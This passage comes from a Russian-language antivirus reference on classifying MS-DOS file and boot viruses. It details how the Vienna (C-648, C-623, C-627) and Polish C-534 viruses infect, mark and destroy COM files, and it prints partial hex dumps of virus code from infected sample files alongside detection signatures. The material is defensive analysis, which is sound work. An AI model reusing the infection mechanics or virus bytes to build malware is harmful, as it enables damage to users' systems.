Классификационный код файлового вируса. Как уже указывалось,
файловые вирусы можно разделить на резидентные и нерезидентные,
что во многом определяет поведение вируса и, прежде всего, его ин-
фицирующую способность (резидентные вирусы обладают существенно
более высокой инфицирующей способностью, чем нерезидентные). Поэ-
тому код резидентных вирусов будем начинать с префикса R, например
RC-1701.
Префикс. Помимо символа R, классификационный код файлового виру-
са может включать символы С и Е или их сочетания. Как уже указыва-
лось, символы С и E определяют типы файлов, заражаемых данным ви-
русом. Например, если резидентный вирус заражает COM- и EXE-
файлы, то его классификационный код будет иметь префикс RCE.
Количественная характеристика. К непосредственно наблюдаемым
объективным свойствам файловых вирусов прежде всего относится при-
ращение длины файлов при заражении. Это приращение, обусловленное
наличием вируса, можно использовать для определения его типа.
Здесь есть две основные проблемы. Во-первых, величина приращения
может варьироваться в зависимости от длины заражаемого файла (мно-
гие вирусы при дописывании своего кода в конец заражаемого файла
выравнивают свое тело на ближайший адрес, кратный 16, т.е. на гра-
ницу параграфа). Во-вторых, величина приращения может не совпадать
для COM-файлов и EXE-файлов. Поэтому в качестве количественной ха-
рактеристики необходимо использовать нормированное приращение, оп-
ределяемое по следующим правилам.
1) Для вирусов с префиксом С и CE (RC, RCE) характеристика клас-
сификационного кода принимается равной минимальному приращению
длины зараженного COM (для вирусов типа С и CE) или EXE (для виру-
сов типа Е) файла.
2) Для вирусов, не изменяющих длины файла, указывается ноль, а
через тире действительная длина тела вируса, например RC-0-346.
3) Для вирусов, маскирующих увеличение длины файла на зараженной
машине к характеристике, определенной по правилам п.1, слева до-
бавляется незначащий ноль (например, RCE-02000).
Отметим, что предложенный в п.1 подход позволяет исключить влия-
ние выравнивания на границу параграфа для вирусов, выравнивающих
свое тело указанным способом. Кроме того, для вирусов, изменяющих
приращение случайным образом, например, путем подгонки его до ве-
личины, кратной 51, минимальное приращение также позволяет исклю-
чить влияние вставляемых байтов (этот случай можно рассматривать
как разновидность выравнивания). И наконец, для вирусов, много-
кратно заражающих один и тот же файл, использование минимального
приращения позволяет исключить влияние многократного заражения.
Для определения указанной характеристики не требуется проведение
экспериментов по заражению файлов с такой длиной. Ее достаточно
просто определить, сопоставив приращения длин двух или более зара-
женных файлов типа COM. Чаще всего файловые вирусы заражают коман-
дный процессор MS DOS (файл COMMAND.COM) и программы, вызываемые в
файле AUTOEXEC.BAT. При анализе нескольких зараженных файлов воз-
можны два наиболее типичных (хотя и не единственно возможных) слу-
чая.
Если приращения длин двух или более зараженных файлов совпадают,
а остатки от деления длин исходных файлов на 16 отличны друг от
друга, то скорее всего вирус не выполняет выравнивание своего кода
на границу параграфа и полученное приращение является характери-
стикой данного вируса. Если приращения отличны, то скорее всего
вирус выполняет выравнивание своего тела на границу параграфа, и
характеристику L данного вируса можно получить по формуле L = D у
(16уmod(LEN,16)), т.е. путем вычитания из полученного приращения
(D) дополнения (до 16) остатка от деления исходной длины файла на
16. Например, файл COMMAND.COM, который файловые вирусы обычно по-
ражают в числе первых, в наиболее распространенной в настоящее
время версии MS DOS 3.3 обычно имеет длину 25307. При этом
mod(25307,16)=11, т.е. остаток от деления 25307 на 16 равен 11 .
Очевидно, что дополнение до 16 равно 5 и для выравнивания на гра-
ницу параграфа требуется вставка пяти дополнительных байт. В этом
случае характеристика вируса будет на 5 меньше, чем приращение
длины файла COMMAND.COM. Достоинством принятого подхода является
то, что, за редким исключением (например, вирус RCE-1813), опреде-
ленная таким образом числовая характеристика совпадает с длиной
кода вируса.
В качестве количественной характеристики классификационного кода
могут применяться и другие параметры. На них стоит кратко остано-
виться, поскольку использованные в них подходы будут безусловно
открываться и переоткрываться другими авторами. По-видимому, наи-
более распространенными можно считать следующие два подхода.
1) Использование в качестве количественной характеристики длины
кода вируса, определенной по константе, содержащейся во фрагменте,
который обеспечивает дописывание кода вируса в заражаемый файл
(эту константу можно сравнительно легко определить, анализируя ди-
зассемблированный код вируса). Такая характеристика является объ-
ективной, поэтому ее часто используют разработчики антивирусных
программ, достаточно хорошо владеющие языком ассемблера. Однако
определенная таким образом характеристика в ряде случаев не совпа-
дает с наблюдаемым значением приращения длин файлов, что снижает
ее ценность с точки зрения использования при попытке классификации
пользователем, не владеющим языком ассемблера, нового, еще неизве-
стного ему вируса. Hапример, для упомянутого выше иерусалимского
вируса длина кода вируса составляет 1808 байт, а приращение длины
при заражении файлов типа СОМ у 1813 байтов, что объясняется до-
полнительным дописыванием в конец зараженного файла типа COM пяти-
байтовой константы MsDos (используется как признак зараженности
файла).
2) Использование в качестве количественной характеристики прира-
щения длины какого-то конкретного файла, полученного в результате
его заражения. В ранних редакциях данной работы автор использовал
этот подход, причем в качестве эталонного был выбран файл
COMMAND.COM версии 3.3 MS DOS. Этот действительно удобный подход
утратил свою привлекательность с появлением ряда вирусов, не
заражающих командный процессор, а также распространением версии
4.0 MS DOS, в которой длина файла COMMAND.COM составляет 37637.
Суффикс. Возможны случаи, когда два разных вируса или два штамма
одного и того же вируса имеют одинаковые префикс и характеристику.
В этом случае, для того, чтобы получить уникальные классификацион-
ные коды вирусов будем использовать в качестве суффикса одну бук-
ву. Например, в коде RС-1704f буква f означает штамм-f. При этом
буква G резервируется за так называемыми группами вирусов о ко-
торых сказано выше.
Дескриптор файлового вируса. Используемые характеристики вирусов
приведены в прил.1. Для файловых вирусов, неизвестных в СССР
(прил.3), информация комбинировалась из различных источников и
возможно содержит ошибки.
Сигнатура файлового вируса. Как уже указывалось, для сигнатур
целесообразно использовать шестнадцатиричные строки, соответствую-
щие характерным последовательностям команд в теле вируса. Располо-
жение сигнатур в прил.1 подчиняется правилу: если сигнатура M вхо-
дит в сигнатуру V, то она приводится после сигнатуры V. Как уже
указывалось в предыдущей части, сигнатуры T существуют не для всех
файловых вирусов. Одной из наиболее удобных сигнатур для файловых
вирусов являются J-сигнатуры. Их можно очень быстро определить с
помощью любого отладчика (DEBUG, Turbo Debugger, AFD и т.д.).
Пользователи, не умеющие работать с отладчиками, могут использо-
вать для определения J-сигнатур программу, входящую в пакет VL
(см. прил.5).
Следует отметить, что контекстный поиск можно использовать не
только для поиска зараженных вирусом программ, но и для поиска
программ и файлов, уничтоженных или поврежденных вирусом. Напри-
мер, вирус С-648 при определенных значениях таймера вместо зараже-
ния программы уничтожает ее, записывая в первые 5 байтов строку,
соответствующую переходу на подпрограмму перезагрузки BIOS. Для
поиска уничтоженных вирусом программ можно использовать строку
EAF0FF00F0. Аналогично вирус RCE-1800 уничтожает сектора на вин-
честере, записывая в первые байты сообщение Eddie lives ...
somewhere in time. По этому сообщению с помощью Norton Utilities
или PC Tools можно выявить все пораженные сектора и определить, к
каким файлам они относятся.
3.3. Классификация бутовых вирусов
Как и для файловых вирусов, будем выделять группы бутовых виру-
сов, а для каждого отдельного вируса у классификационный код, де-
скриптор и сигнатуры.
Группы бутовых вирусов. Большинство распространенныx бутовых ви-
русoв имеют штаммы, которые можно объединить в группы. В настоящее
время можно выделить следующие группы бутовых вирусов:
1) итальянская (первым представителем вирусов этой группы был
вирус, Bx1-1C, появившийся примерно в конце 1987 г.);
2) пакистанская (в нее входят вирусы Brain, Ashar; первым пред-
ставителем этой группы был вирус Dx3-E9 (Brain-86), разработанный
в 1986 г. в Лахоре (Пакистан));
3) новозеландская (родоначальником которой был вирус M-05 у
Stoned);
4) индийская (включающая большую группу вирусов, из которых в
СССР обнаружен один у Joshy).
Классификационный код бутового вируса состоит из префикса и
количественной характеристики.
Префикс. Поскольку все бутовые вирусы являются резидентными, ис-
пользование символа R в префиксе их классификационного кода неце-
лесообразно. Наиболее важным свойством бутовых вирусов, сопостави-
мым по значению с резидентностью файловых вирусов, является
спосoбность некоторых бутовых вирусов сохраняться в памяти после
мягкой пeрезагрузки путем нажатия последовательности клавиш
Ctrl-Alt-Del. Это свойство мы будем обозначать буквой W (survive
Warm reboot) в префиксе. Все бутовые вирусы заражают дискеты, од-
нако некоторые из них заражают винчестер, а другие нет. Вирусы,
инфицирующие только дискеты (Brain, Den Zuk) будем обозначать пре-
фиксом D.
При заражении бутсектора возможны два случая: заражение бутсек-
тора раздела С винчестера (префикс B) и заражение MBR у исполняе-
мой части таблицы разделов (префикс M). Поскольку одним из наибо-
лее распространенных случаев расположения хвоста бутового вируса
является его расположение в псевдосбойных кластерах (что легко оп-
ределить, просмотрев их содержимое с помощью Norton Utilities), то
для таких вирусов в суффикс будем включать букву х, за которой
следует количество этих кластеров, например Bx1.
Количественная характеристика бутового вируса. Выбор количест-
венной характеристики для бутовых вирусов имеет определенную спе-
цифику: если для файловых вирусов наиболее характерным признаком
заражения является увеличение длины файла, то для бутовых вирусов
аналогичную роль играет уменьшение размеров оперативной памяти,
доступной для MS DOS. Однако, как указывалось выше, важным требо-
ванием к выбору свойств вируса, используемых для классификации,
является возможность их определения на незараженной машине. Объем
оперативной памяти, сообщаемый MS DOS, этому критерию не отвечает.
Количество блоков памяти, используемых бутовым вирусом, этому кри-
терию не отвечает, поэтому от этой характеристики пришлось отка-
заться. Было решено использовать другую доступную для обозрения
характеристику бутового вируса у содержимое зараженного бутсектора
(точнее первых его байтов). Вместе с тем, анализ объема памяти,
сообщаемого MS DOS, является очень полезным диагностическим при-
емом, и при подозрении на заражение тем или иным вирусом, вызов
программы CHKDSK, сообщающей это значение (а также ряд других по-
лезных сведений, включая объем памяти, занятый на диске сбойными
кластерами), целесообразно вставлять в файл AUTOEXEC.BAT.
В качестве характеристики выбрано значение второго байта зара-
женного бутсектора, поскольку его содержимое различно для извест-
ных автору бутовых вирусов. В то же время содержимое этого байта
записывается в 16-ричной системе счисления, что создает определен-
ную несогласованность с характеристикой файловых вирусов, являю-
щейся десятичным числом. Именно поэтому в предлагаемом варианте
классификационного кода вируса прeфикс и характеристика разделяют-
ся знаком - (минус).
Следует еще раз подчеркнуть, что просматривать содержимое бут-
сектора следует только предварительно загрузившись с защищенной от
записи резервной дискеты с операционной системой и требуемыми ан-
тивирусными программами, поскольку сама операция просмотра на за-
раженной машине может либо перехватываться вирусом для подстановки
чистого бутсектора (так, например, маскируется вирус Brain), ли-
бо, что еще хуже, служить триггером для каких-то несанкционирован-
ных действий. Следует использовать так называемую холодную пере-
загрузку (с помощью клавиши RESET, если она есть, или путем выклю-
чения питания, если ее нет), а не теплую перезагрузку (нажатием
клавиш CTRL-ALT-DEL). Это требование основано на том факте, что
ряд бутовых вирусов перехватывает прерывание от клавиатуры и при
теплой перезагрузке MS DOS сохраняет себя в памяти, даже если
перезагрузка идет с защищенной системной дискеты.
Дескриптор бутового вируса. Структура дескриптора бутового виру-
са приведена в прил.2.
Сигнатура бутового вируса. Для бутовых вирусов сигнатуры M, I и
B будут использоваться аналогично тому, как это было для файловых
вирусов, а J-сигнатура у в несколько измененном виде. В отличие от
J-сигнатуры для файловых вирусов, в которой байты, соответствовав-
шие команде перехода, не учитывались, здесь они будут учитываться.
Это связано с тем, что первой командой бутсектора всегда является
команда обхода таблицы параметров диска (см. прил.6), размер кото-
рой, в отличие от размера заражаемого файла, не меняется. Поэтому
для бутовых вирусов мы преимущественно будем использовать J-сигна-
туру, состоящую из первых трех байтов бутсектора и лишь при необ-
ходимости дополнять ее, начиная с байта, на который выполняется
команда перехода.
Для незараженного бутсектора MS DOS версии 3.3 J-сигнатура равна
EB3490h (объектный код команды JMP, служащий для обхода таблицы
параметров). Ценность этой эталонной J-сигнатуры состоит в том,
что она легко запоминается. Поэтому несовпадение первых трех бай-
тов анализируемого бутсектора с указанной эталонной J-сигнатурой
свидетельствует о зараженности бутсектора (отметим, что совпадение
еще ни о чем не говорит). В прил.2 приведены краткие сведения о
бутовых вирусах, обнаруженных в СССР.
3.4. Использование классификационных таблиц
в качестве части документации
к антивирусным программам
В заключение отметим, что предлагаемая классификация является,
по существу, одной из первых попыток стандартизации, поэтому она,
конечно, не лишена недостатков, и естественно, должна совершенст-
воваться. В то же время любой классификации присущи те или иные
недостатки и ожидание идеальной классификации глубоко ошибочно.
Здесь, как и в большинстве областей программирования (например, в
языках высокого уровня), пожалуй, важнее во-время сделать ставку
на какой-то более или менее приемлемый вариант, чем самому тратить
время и силы на разработку более удачной альтернативы.
Поэтому разработчикам антивирусных программ имеет смысл исполь-
зовать описанную классификацию при подготовке документации и выда-
че диагностических сообщений, даже имея некоторые возражения к
принятому подходу. Поскольку автор регулярно обновляет приведенные
таблицы вирусов, основанные на предложенной классификации, их ис-
пользование в качестве части документации к распространяемым анти-
вирусным программам не только повысит полноту и качество послед-
ней, но и сэкономит время на последующую корректировку, которая
может быть выполнена просто путем замены предыдущей редакции таб-
лиц на текущую.
Использование в антивирусных программах кода и дескриптора
вируса упрощает программирование ряда компонент и создает
некоторые нетривиальные возможности. В простейшем случае
дескриптор вируса можно рассматривать как способ упаковки файла
оперативной подсказки сведений о найденном вирусе. При выдачи
информации о вирусе по клавише HELP (F1) содержащуюся в нем
достаточно подробную информацию можно развернуть до практически
полного описания найденного вируса путем замены значения каждого
из полей дескриптора на соответствующие ему стандартные фразы на
русском или английском языке. В этом случае, вместо двух-трех
малоинформативных фраз, выдаваемых на экран в виде оперативной
подсказки (по принципу получи и отвяжись), пользователь получает
действительно полезную информацию.
4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
Ниже приводятся описания нерезидентных файловых вирусов, изу-
ченных автором на момент выхода данной работы. В целях системати-
зации описываемые вирусы разбиты на несколько групп. Как для самих
групп, так и вирусов внутри группы изложение ведется в основном в
хронологическом порядке (по появлению в Киеве).
4.1. Венская группа
Венская группа берет свое начало с вируса С-648. Для данной
группы характерен механизм поиска зараженных файлов, который вы-
полняется во всех каталогах, сцепленных командой PATH, и использо-
вание поля секунд для отметки зараженных файлов. В настоящее время
включает три штамма, наиболее распространенным из которых является
исторически первый у С-648. Указанные штаммы отличаются по методу
включения троянской компоненты, которая вызывает уничтожение COM-
файлов путем перехода на подпрограмму перезагрузки операционной
системы. Большинство штаммов используют для этой цели текущее зна-
чение таймера (см.ниже), однако некоторые (которыми мы не распо-
лагаем) у значение даты создания файла. Наиболее распространены
штаммы с длинами 648, 623, 627 байтов.
4.1.1. Базисный вирус С-648 (Vienna у Вена)
Название вируса С-648 связано с тем, что после запуска заражен-
ной программы вирус активируется и ищет файл-жертву. Если файл-
жертва был найден в определенный момент времени (среди последних
трех битов 16-ричного представления секунд нет ни одной единицы),
то вместо заражения программы, содержащейся в этом файле, С-648
вставляет в начало этой программы команды перехода на подпрограмму
теплого рестарта, делая тем самым программу в соответствующем
СОМ-файле неработоспособной. Убитые вирусом программы не могут
быть восстановлены без наличия информации о начале программы, а
зараженные могут излечиваться с помощью соответствующего фага.
Формально вирус С-648 у файловый нерезидентный вирус, поражающий
файлы типа СОМ. Функционирует на версиях MS DOS, начиная с 2.0.
Стратегия заражения у поиск файла с расширением СOM в каталогах,
сцепленных в PATH. Заражение СOMMAND.COM выполняется так же, как и
заражение любого другого COM-файла: никаких механизмов по поиску
размещения командного процессора вирус не содержит. При заражении
он дописывается в конец программы и одновременно вставляет в пер-
вые три байта COM-файла команду перехода на тело вируса. При этом
размер файла увеличивается на 648 байтов, дата создания файла и
атрибуты файла не меняются. Заражение выполняется однократно. Ми-
нимальный размер заражаемых файлов у 10 байтов (0Ah), максималь-
ный у (FA00h). Поскольку вирус определяет тип файла только по рас-
ширению, заражение EXE-файлов с расширением COM выполняется непра-
вильно. Это приводит к потере работоспособности зараженных файлов
указанного типа: их запуск обычно ведет к зависанию системы. После
обработки такой программы фагом работоспособность восстанавливает-
ся.
Для отличения зараженных файлов от незараженных используются
младшие четыре бита времени создания файла (для зараженных файлов
они все устанавливаются в единицу, что соответствует несуществую-
щему количеству секунд у 62 с.). Следует отметить, что как команда
DIR, так и распространенные оболочки типа Norton Commander не по-
казывают поле секунд, выдавая содержимое каталога на экран. Поэто-
му это изменение достаточно хорошо скрыто от пользователя.
При запуске инфицированной программы управление сначала получает
сам вирус. Получив управление, вирус устанавливает свою область
передачи данных, осуществляет поиск файлов типа COM на всех дисках
и во всех каталогах, сцепленных с помощью команды PATH. При нахож-
дении такого файла вирус прежде всего проверяет его время созда-
ния, по которому определяет, заражен уже этот файл или нет. Если
файл отмечен как незараженный и его длина больше десяти байтов, то
он рассматривается как потенциальная жертва и вирус приступает к
его заражению. При этом вирус не проверяет, не является ли файл на
самом деле файлом типа EXE (начинающимся с MZ), ошибочно или на-
меренно замаскированным под файл типа COM. Указанные файлы в
случае заражения уничтожаются.
Следует отметить, что защита файлов атрибутами READ ONLY и
HIDDEN в MS DOS недостаточно эффективна, поскольку вирус легко из-
меняет эти атрибуты. Сначала вирус запоминает атрибуты, дату и
время создания заражаемого файла. Затем сбрасывает атрибут READ
ONLY, если он был установлен, открывает файл на запись и считывает
текущее время. Если выданное по прерыванию 21-2С содержимое реги-
стра DH содержит в последних трех битах нули (т.е. системные часы
показывают 0, 8, 16, 24, 32, 40, 48 или 56 с.), то вирус предпри-
нимает попытку уничтожения потенциальной жертвы. Иначе выполня-
ется попытка заражения. Другими словами, приблизительно в 12% по-
раженных вирусом программ уничтожены первые пять байтов.
Уничтожение выполняется путем записи в первые пять байтов коман-
ды перехода на подпрограмму перезагрузки BIOS (переход по адресу
F000:FFF0). В дальнейшем при попытке выполнить пораженную про-
грамму вместо ее выполнения будет выполняться перезагрузка MS DOS.
Если при этом программа входит в AUTOEXEC.BAT, то при загрузке
произойдет зацикливание и с винчестера или данной системной диске-
ты загрузиться нельзя без корректировки AUTOEXEC.BAT.
При заражении, которое выполняется, только если хотя бы один из
последних трех битов времени создания файла равен единице, вирус
переписывает свой код в конец файла и заносит в первые три байта
команду JMP для передачи ему управления. После этого С-648 восста-
навливает дату, время и атрибуты уже зараженного файла, и управле-
ние передается программе-вирусоносителю. При восстановлении даты
количество секунд устанавливается равным 62 (т.е. последним четы-
рем битам присваиваются значение 1111). По этому значению вирус
отличает зараженные файлы от незараженных, что обеспечивает
однократность заражения. Впрочем, при архивировании зараженных
файлов поле секунд может теряться (количество секунд во времени
создания файла не выдается ни одной командой MS DOS), что приведет
к повторному заражению.
Поскольку вирус C-648 не проверяет, находится ли заражаемый или
уничтожаемый файл на защищенной дискете или нет, то в этом случае
выдается обычное сообщение операционной системы:
Write protect error writing device <лог.имя.устр.>
Abort, Retry, Ignore, Fail?
в ответ на которое неопытные пользователи часто снимают защитную
заклейку прорези дискеты, тем самым разрешая вирусу заразить оче-
редную программу. Этот эффект представляет интерес как наглядная
демонстрация того непреложного факта, что человек является важней-
шим звеном в любой системе обеспечения безопасности.
Исторические замечания. Данный вирус появился в США в 1987 г. и
получил широкое распространение в Западной Европе в 1988 г. Об
этом, в частности, свидетельствует тот факт, что среди средств
борьбы с этим вирусом имеются немецкие, польские, чешские и авст-
рийские программы.
В СССР вирус С-648 появился приблизительно в августе 1988 г.,
когда он был обнаружен в лаборатории Института программных систем
(Переславль-Залесский). Возможно, он попал туда во время проведе-
ния институтом (совместно с ЮНЕСКО) Международного детского компь-
ютерного летнего лагеря. Поскольку этот вирус к середине 1988 г.
был уже довольно распространен в Западной Европе, включая соцстра-
ны, он несомненно завозился в СССР неоднократно, c различного рода
новыми версиями программного обеспечения и компьютерными играми. В
Киеве этот вирус появился в конце 1988 г., а наибольшее распрост-
ранение получил примерно в апреле 1989 г., после чего его эпидемия
пошла на убыль, что прежде всего связано с достаточной распростра-
ненностью средств защиты от этого вируса. Одним из переносчиков
этого вируса в Киеве являлся адаптированный вариант программы
SideKick (шестерка). К сожалению, по стране распространяется от-
комментированный исходный текст данного вируса, который, в частно-
сти, был включен В.Бончевым в его вирусную дискету. Доступность
исходных текстов сделало этот вирус базой для многочисленных штам-
мов и несколько таких штаммов уже выявлено в СССР(см. ниже описа-
ние вирусов С-534 и С623).
Первыми антивирусными программами, попавшими в Киев и ориентиро-
ванными на борьбу с этим вирусом, были зарубежные программы, рас-
пространявшиеся в виде случайного набора набора на дискете. Среди
них наибольшей популярностью на начальном этапе пользовались де-
тектор DIAG и фаг CURE Д.Сопчека (ПНР), DR_NO, FAG_OM и др. Отече-
ственные средства появились несколько позднее, однако со временем
основным средством борьбы стали такие отечественные полифаги, как
AIDSTEST, DOCTOR, VDEATH и др.
Неформальные названия. Данный вирус имеет не менее десятка не-
формальных названий. Среди них: Vienna (Вена), DOS-62, Time Bomb
(Часовая мина), Flea (Блоха), вирус перезагрузки, VHP-648',
RESTART (Рестарт у О.Котик), Rebooter (Перезагрузчик), P-virus,
Omega (Омега). Полидетектор SCAN называет данный вирус Vienna
(DOS 62) Virus у Version A [Vienna].
Программные средства защиты. Для данного вируса имеется огромное
количество программ типа детекторов и фагов. При этом большинство
из них не указывают, для какого типа вируса они предназначены. По-
этому очень часто в батарее антивирусных средств, составляемых
на многих ВЦ, используется несколько эквивалентных по своим функ-
циональным возможностям детекторов или фагов для этого типа виру-
са. Уничтоженные вирусом файлы, т.е. файлы, в которых вместо пер-
вых пяти байтов записана команда безусловного перехода на перезаг-
рузку MS DOS (EA F0 FF 00 F0), можно восстановить, только если
первые байты программы были предварительно записаны в справочном
файле программой-ревизором (типа CRCDOS). В настоящее время все
полидетекторы и все полифаги обрабатывают программы, зараженные
данным вирусом. Автор рекомендует полифаг AIDSTEST. Защита винче-
стера от данного вируса облегчается при использовании программы
Advanced Disk Manager, которая позволяет устанавливать защиту за-
писи и для разделов винчестера. Вакцина от данного вируса может
быть создана двумя способами. Во-первых, поскольку при поиске сло-
ва PATH вирус фактически ищет подстроку PATH=, его можно наве-
сти на ложный аэродром, вставив в AUTOEXEC.BAT строку вида
SET XPATH = Х:\DUMMY до настоящей строки SET PATH=. В приведен-
ном примере DUMMY у несуществующий каталог, а первая (или несколь-
ко первых) букв в имени ловушки могут быть произвольными. В этом
случае вирус поймает первую букву P, входящую в слово XPATH и
будет пытаться искать файлы на несуществующем диске Х и несущест-
вующем каталоге DUMMY. Аналогичную ловушку можно ставить и на
COMSPEC, и хотя для данного вируса она не нужна, важно понимать,
что данную идею обмана вирусов можно развить в нескольких на-
правлениях. Другими словами, она может быть обобщена до некоторого
универсального приема использования особенностей кодировки соот-
ветствующих частей вируса. Кроме того, целесообразно создать ката-
лог BAT (имя может быть произвольным) и записать в него пакеты для
вызова часто используемых программ в виде BATCH-файлов. В этом
случае достаточно указать в PATH только этот каталог, что вполне
безопасно, поскольку ни одного файла типа COM в нем нет. Этот спо-
соб, наряду с повышением безопасности, ускоряет вызов программ,
позволяет настроить среду и передать стандартные параметры. Поэто-
му его стоит использовать как можно шире.
Второй способ вакцинирования состоит в записи в последние четыре
бита времени создания файла четырех единиц для всех файлов типа
COM. Это соответствует невозможному количеству секунд (62) во вре-
мени создания (последние четыре бита хранят половинное количество
секунд). Именно так вирус помечает зараженные им файлы. Правда,
здесь существует опасность, что при обработке тем или иным фагом
последний может принять чистые файлы за зараженные, однако эта
проблема носит скорее теоретический, чем практический характер.
Фрагмент дампа дрозофилы, зараженной вирусом C-648
+-------- команда передачи управления телу
+----+ вируса
000: E90D009090909090 9090909090909090 ................
+- ****** -------- J-сигнатура (звездочками поме-
| чены изменяемые вирусом байты)
010: 51BA0903FC8BF281 C60A00BF0001B903 Q...............
020: 00F3A48BF2B430CD 213C007503E9C701 ......0.!<.u....
030: 06B42FCD21899C00 008C84020007BA5F ../.!.........._
040: 009003D6B41ACD21 06568E062C00BF00 .......!.V..,...
050: 005E5681C61A00AC B90080F2AEB90400 .^V.............
060: ACAE75EDE2FA5E07 89BC16008BFE81C7 ..u...^.........
... .. .. .. .. .. .. .. .. .. .. .. .. ..
1E0: 00BA1F009003D6CD 211EB41A8B940000 ........!.......
1F0: 8E9C0200CD211F59 33C033DB33D233F6 .....!.Y3.3.3.3.
200: BF00015733FFC2FF FF8000ED251B0121 ...W3.......%..!
210: 002000909090E90D 002A2E434F4D001C . .......*.COM..
220: 002006504154483D 473634382E434F4D . .PATH=G648.COM
230: 2020202020202020 2020202020202020
*** последующие строки идентичны предыдущей ***
260: 2020202020202020 033F3F3F3F3F3F3F .???????
270: 3F434F4D030500EE 0200000000201B01 ?COM......... ..
280: 2100100000004736 34382E434F4D004D !.....G648.COM.M
290: 000000EAF0FF00F0 ........
Фрагмент дампа дрозофилы, уничтоженной вирусом С-648
000: EAF0FF00F0909090 9090909090909090 ................
... .. .. .. .. .. .. .. .. .. .. .. .. ..
4.1.2. Штамм С-623 (Vienna-X)
Вирус С-623 отличается от C-648 наличием обработки ненормальных
окончаний, что обеспечивает подавление сообщений вида
Write protect error writing device <лог.имя.устр.>
Abort, Retry, Ignore, Fail?
при попытке записи на защищенную дискету. Кроме того, в уничтожае-
мые модули записывается переход по адресу C800:0000. Возможно, ав-
тор предполагал, что в результате будет выполнена форматизация ди-
ска. Уничтоженные модули можно искать по сигнатуре EA000000C8.
Данный штамм содержит подпрограмму обработки ошибок ввода/выво-
да. Поэтому при попытке заражения программы, расположенной на за-
щищенной дискете, не выдается соответствующего сообщения MS DOS.
Исторические сведения. Передан автору Д.Н.Лозинским. Обнаружен в
конце 1989 г.
Программные средства защиты. См. прил.1.
Фрагмент дрозофилы, зараженной вирусом C-623
000: E9A0009090909090 9090909090909090 ................
010: 8000ED251B012100 2000909090E9A000 ...%..!. .......
020: 2A2E434F4D001C00 0E04504154483D47 *.COM.....PATH=G
030: 3632332E434F4D00 0000202020202020 623.COM...
040: 2020202020202020 2020202020202020
050: 2020202020202020 2020202020202020
060: 2020202020202020 2020202020202003 .
070: 3F3F3F3F3F3F3F3F 434F4D030700EE02 ????????COM.....
080: 00000000201B0121 0010000000473632 .... ..!.....G62
090: 332E434F4D000000 0000EA000000C856 3.COM..........V
0A0: 050E2551BA1001FC 8BF283C60ABF0001 ..%Q............
0B0: B90300F3A48BF2B4 30CD213C007503E9 ........0.!<.u..
0C0: A80106B42FCD2189 1C8C4402B82435CD ..../.!...D..$5.
0D0: 21899C8F008C8491 0007B824258BD681 !..........$%...
... .. .. .. .. .. .. .. .. .. .. .. ..
230: 8B54068B4C0480E1 E080C91FB80157CD .T..L.........W.
240: 21B43ECD21B80143 8B4C08BA1F0003D6 !.>.!..C.L......
250: CD211EB41A8B148E 5C02CD21B824258B .!......\..!.$%.
260: 948F008E9C9100CD 211F5933C033DB33 ........!.Y3.3.3
270: D233F6BF00015733 FFC2FFFFB000CF .3....W3.......
4.1.3. Штамм C-627 (Vienna-Y)
В штамме 627 исключен блок уничтожения программы.
Исторические сведения. Передан автору Д.Н.Лозинским. Обнаружен в
конце 1989 г.
Программные средства защиты. См. прил.1.
4.2. Польская группа
Польская группа включает несколько штаммов, стратегия заражения
которых основана на поиске файлов с расширением COM в текущем ка-
талоге и использовании для отметки зараженных файлов не значение
62 с. в поле секунд, а 13 месяца. Она включает два почти идентич-
ных вируса С-507 и С-534, из которых в нашу страну попал только
второй. Анализ кода создает впечатление о том, что основные идеи
заимствованы у венского вируса, онако это впечатление может быть и
ложным. В связи с используемым методом отметки зараженных файлов
группа практически полностью уничтожена.
4.2.1. Вирус С-534 (Toothless у Беззубый, W13)
В коде вируса C-534 прослеживаются явные аналогии с кодом вируса
С-648, однако чувствуется более низкая квалификация автора. Воз-
можно, автор пользовался комментированным листингом вируса С-648
(по-видимому, австрийского происхождения). Против этого предполо-
жения говорит тот факт, что стратегия заражения существенно упро-
щена, а признак зараженности файла изменен на более заметный, хотя
при создании штаммов чаще наблюдаются попытки улучшить эти уча-
стки кода. Формально вирус С-534 у файловый нерезидентный вирус,
поражающий файлы типа СОМ. Функционирует на версиях MS DOS, начи-
ная с 2.0. Длина 534 (216h) байта. Заражаются только .COM-файлы
длиной от 256(100h) до FA00h байт в текущем и корневом каталогах.
Заражение происходит при запуске инфицированной программы, при
этом заражается не более одного файла. При выполнении зараженной
программы управление передается на начало вируса. Вирус восстанав-
ливает первые 3 байта основной программы, ищет незараженный файл с
раcширением СОМ и заражает его. Это ведет к потере рабоспособности
EXE файлов, записанных с расширением COM. Работоспособность таких
файлов может быть восстановлена путем применения соответствующего
фага.
Стратегия заражения у поиск файла-жертвы в текущем и корневом
каталогах. Поражает СOMMAND.COM. При заражении он дописывается в
конец программы и одновременно вставляет в первые три байта COM-
файла команду перехода на тело вируса. При этом размер файла уве-
личивается на 534 байта, дата создания файла и атрибуты файла из-
меняются (вирус снимает атрибут READ ONLY и из-за ошибки в тексте
не восстанавливает его; кроме того, в дате подставляется 13 (0Dh)
месяц). Заражение выполняется однократно. Минимальный размер зара-
жаемых файлов у 256 байтов (100h), максимальный у чуть меньше 64К
(FA00h). При попытке заражения у файла проверяется значение месяца
последней его модификации и, если оно равно 0Dh (13-й месяц), то
файл не заражается. Очевидно, что данный метод предотвращения по-
вторного заражения является вариантом метода, использованного в
базовом вирусе С-648 с той разницей, что вместо секунд использу-
ется месяц.
Как и С-648, вирус C-534 не проверяет, находится заражаемый файл
на защищенной дискете или нет, и в этом случае выдается обычное
сообщение операционной системы:
Write protect error writing device <лог.имя.устр.>
Abort, Retry, Ignore, Fail?
При заражении EXE-файлов с расширением COM наблюдаются те же
проблемы, что и для вируса С-648.
Исторические замечания. Обнаружен в Польше в ноябре 1988 г. В
Киеве появился приблизительно в октябре 1989 г. Первым фагом для
данного вируса, распространяемым бесплатно, вероятно был полифаг
Д.Н.Лозинского.
Методы и программные средства защиты. Методы защиты аналогичны
методам защиты от вируса С-648. Рекомендуется использовать про-
граммы, указанные в прил.1.
Фрагмент дампа программы DUMY0400.COM,
зараженной вирусом C-534
100 E98D019090909090 9090909090909090 ................
110 9090909090909090 9090909090909090 ................
*** Последующие строки идентичны предыдущей ***
280 9090909090909090 90909090909090C3 ................
290 50BEF5038BD681C6 0000FCB90300BF00 P...............
2A0 01F3A48BFAB430CD 213C007503E93F01 ......0.!<.u..?.
